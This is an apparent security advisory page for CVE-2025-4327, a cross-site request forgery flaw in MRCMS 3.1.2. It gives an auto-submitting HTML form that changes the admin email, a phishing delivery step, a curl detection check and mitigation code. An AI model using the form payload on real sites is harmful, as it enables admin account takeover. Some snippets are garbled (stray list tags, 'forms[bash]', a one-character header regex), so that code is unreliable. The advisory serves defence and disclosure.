MRCMS, Cross-Site Request Forgery (CSRF), CVE-2025-4327 (Medium)

How CVE-2025-4327 Works

This CSRF vulnerability in MRCMS 3.1.2 allows attackers to trick authenticated users into executing unintended actions via forged HTTP requests. Since the application does not properly validate request origins, an attacker can craft malicious links or forms that submit unauthorized commands when visited by a logged-in user. The lack of anti-CSRF tokens or SameSite cookie restrictions enables this exploit. Attackers could modify content, change user settings, or perform administrative actions depending on the affected endpoints.

Platform: MRCMS
Version: 3.1.2
Vulnerability: CSRF
Severity: Medium
Date: 06/12/2025

Prediction: Patch expected by 08/2025

What Undercode Say:

Exploitation

1. Craft a malicious HTML form targeting MRCMS endpoints:

   </li>
   </ol>
   
   <form action="http://victim-mrcms/admin/update_settings" method="POST">
   <input type="hidden" name="new_admin_email" value="[email protected]">
   </form>
   
   <script>document.forms[bash].submit();</script>
   

   2. Use social engineering to deliver the payload via phishing.

   Detection

   Check for missing CSRF protections:

   curl -I http://target-mrcms/login | grep -i "X-CSRF-Token"
   

   Mitigation

   1. Implement anti-CSRF tokens:

   // Generate token
   $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
   // Validate token
   if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
   die("CSRF validation failed");
   }
   

   2. Configure SameSite cookies in Apache:

   Header edit Set-Cookie ^(.)$ "$1; Secure; SameSite=Strict"
   

   3. Patch via MRCMS update when released.
